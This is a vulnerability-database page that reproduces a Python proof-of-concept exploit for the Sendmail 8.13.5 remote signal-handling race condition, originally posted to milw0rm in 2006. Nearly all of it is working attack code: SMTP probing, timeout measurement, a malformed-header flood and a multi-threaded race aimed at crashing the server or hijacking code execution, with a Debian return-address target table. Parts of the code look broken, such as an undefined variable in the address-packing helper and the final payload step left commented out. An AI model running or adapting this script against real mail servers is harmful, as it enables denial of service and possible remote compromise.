Lucene search
K

Sendmail 8.13.5 - Remote Signal Handling (PoC)

🗓️ 21 Jul 2006 00:00:00Reported by redsandType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 912 Views

Sendmail 8.13.5 Remote Signal Handling exploit by [email protected]. Proof of concept for OS crash and code execution contro

Code
                        #!/usr/bin/env python
#
# [email protected]
# Sendmail 8.13.5 and below Remote Signal Handling exploit
# usage: rbl4ck-sendmail.py 127.0.0.1 0 25
#
#

# this exploit was leaked to the PHC (Phrack High Council)
# so instead of only letting them have a copy, we figure
# everyone should have what they have.
#
# :-)

#
# several of the tested operating systems appear to crash at a static
# string in memory and we were unable to shift the location of that crash.
# However, Fedora gives us a nice sexy soft spot to land, one that allows us
# to control the flow of code execution
# this is only a proof of concept
#

import os, sys, socket, time, select, string, errno, threading

IP="127.0.0.1"
PORT=25
fromdd = "[email protected]"
def_arch = 0
def_timeout = (60 * 60) * 2 # 2 hrs
#def_timeout = 5 # 5 seconds
domain = "localhost"
total_time = None
threshold = 2.5

guess_timeout = 4.0

threads = 40

arch = [ 
	{ 'OS':'Debian 3.0-r1', 'offset':190, 'pad':28, 'return':0xbfbfdad1L }
	]

argc = len(sys.argv)
if(argc > 1):
	IP = sys.argv[1]

if(argc > 2):
	def_arch = int(sys.argv[2])

if(argc > 3):
	PORT = int(sys.argv[3])

def	ia32(o):
	s=''
	w=chr(i % 256)
	o = o >> 8
	x=chr(i % 256)
	o = o >> 8
	y=chr(i % 256)
	o = o >> 8
	z=chr(i % 256)

	s = "%c%c%c%c" % (w,x,y,z)
	return s

def	substr(i, str, off):
	top=i[:off]
	end=i[off+len(str):]
	s = top + str + end
	return s
	


def	rout( str):
	print ("[bl4ck]: " + str)

def	mbanner():
	rout("Sendmail 8.13.5 and below Remote Signal Handling exploit by [email protected]")
	rout("Supported Operating Systems:")
	p = 0
	for i in arch:
		rout("{%r} %s" % (p, i['OS']))
		p += 1

def	rsend( s, str, p=True):
	sent = s.send(str )
	#sent = s.send(str + "\r\n")
	if sent == 0:
		rout("socket send() failed")
	if(p):
		rout("Sent Request: \r\n\r\n%s\r\n" % str)

def	probe(sock):
	str = "HELO blacksecurity.org\r\nMAIL FROM: <%s>\r\nRCPT TO: root@%s\r\nDATA\r\n" % (fromdd,domain)
	rsend(sock,str)


def	payload(size=32764):
	ret = "\x7f" * size
	i = 0
	while i < size :
		ret = substr(ret,": ",100 + i)
		ret = substr(ret,"\r\n",200 + i)
		i += 202

	ret += "\r\n"
	return ret


class rSendmail( threading.Thread) :

	thres = threshold
	do_exit = False
	btime = None
	etime = None
	state = 0
	total_time = 0

	def	__init__(self, thresh=0):
		if not thresh == 0:
			self.thres = thresh
		threading.Thread.__init__ ( self )


	def     rrecv(self,s, response=None):
        	buf = ''
        	try:
	                buf = s.recv(2048)
	        except socket.error, (ecode, reason):
	                #rout("Socket failure %r:%s" % (ecode, reason))
	                return False

        	if buf == '':
                	return False

        	rout("Reading response: \r\n\r\n%s\r\n" % buf[0:-2])
       		msg = buf[0:-2].split("\r\n")
        	for m in msg:

                	k = m[0:3]
                	if (k != None) and (k != '') and (k != "\x7f\x7f\x7f"):
                        	code = int(m[0:3])
                	else:
                        	code = 0

                	if( code == 354 and self.state == 0 ):
                        	self.btime = time.time()
                        	self.state += 1
                        	return True
                	elif( code == 451 and self.state == 1):
                        	self.etime = time.time()
                        	self.state += 1
	                        return True
       	        	elif( code == 451 and self.state == 4):
                        	self.state += 1
                        	return True
                	elif( code == 354 and self.state == 3):
                        	self.state += 1
                        	return True

                	if (self.state == 5):
                        	self.state += 1
                        	rout("Debug error, unable to escalate state")
				self.stop()
				return False

	        if(response != None):
       	        	rsend(s,response)

	def stop(self):
		self.do_exit = True


	def run (self ):

		rout("Connecting to %s:%r" % (IP,PORT))

		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		sock.setblocking(0) # non-blocking 0hn0

		try:
			sock.connect((IP, PORT))
		except socket.error, (ecode, reason):
			if ecode in (115, 150): pass
			else:
				rout("Error %r:%s" % (ecode,reason))
				return
	
			ret = select.select([sock],[sock],[], def_timeout)
	
			if len(ret[1]) == 0 and len (ret[0]) == 0:
				sock.close()
				rout("Timed out on connect")
				return
	
		rout("Setting non-blocking options with a default timeout of %r seconds" % def_timeout)
	
		xplbuf = "\xAF\xBE\xAD\xDE"

		probe1 = False
		probe2 = False
		pump = False
	
		while not self.do_exit:
		
			readsock, writesock, err = select.select([sock],[sock],[], def_timeout)
			if len(readsock) > 0:
				for s in readsock:
					self.rrecv(s)
	
			if len(writesock) > 0:
				for s in writesock:
					if(self.state == 0):
						if not probe1:
							probe(s) # rsend(s,"HELO")
							probe1 = True
						break
	
					if(self.state == 1):
						if not pump:
							pump = True
							time.sleep(guess_timeout - (0.9))
							rsend(s,payload(32764) + "\r\n", False)
							rout("Sending heavy load")
	
						break
	
					if(self.state == 2):
					# measure timeout
					# wait = end - start  
					# where end is time of code 451 & start is 354 go ahead
						self.total_time = (self.etime - self.btime) + self.thres
						#self.total_time = (self.etime - self.btime)
						self.state += 1
		
					if(self.state == 3):
						if not probe2:
							rsend(s,"\n")
							probe(s)
							probe2 = True
						break
		
					if(self.state == 4):
						## race here
						# send bad header
						# lets wait 
						rsend(s, xplbuf + "\r\n")
						rout("Sleeping...")
						time.sleep(self.total_time)
						rsend(s, xplbuf + "\r\n")
		
						rout("Sent race-request")
						self.state = 5
						break
		
					if(self.state == 5):
						rout("State reached stage: %r" % self.state)
						rout("Total wait time: %s" % self.total_time)
						self.stop()
						break

		self.stop()
		return
					



mbanner()

t_list = []

t = threshold

opc = 0

while threading.activeCount() < threads:
	opc += 1 
	rout("Starting Thread: %r with time+offset: %r" % (opc, t))
        m = rSendmail(t)
        m.start()
        t += 0.2
	time.sleep(5)


sys.exit(5) # success ??

"""
buf = ""
atom = "\\\xff" * int(arch[def_arch]['pad'])
idx = 256 * 4
newtag=substr(xpl[idx:],ia32(arch[def_arch]['return']), int(arch[def_arch]['offset']))
xpl=substr(xpl, newtag, idx)
xpl=substr(xpl,atom,len(xpl))
"""

# milw0rm.com [2006-07-21]
      

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation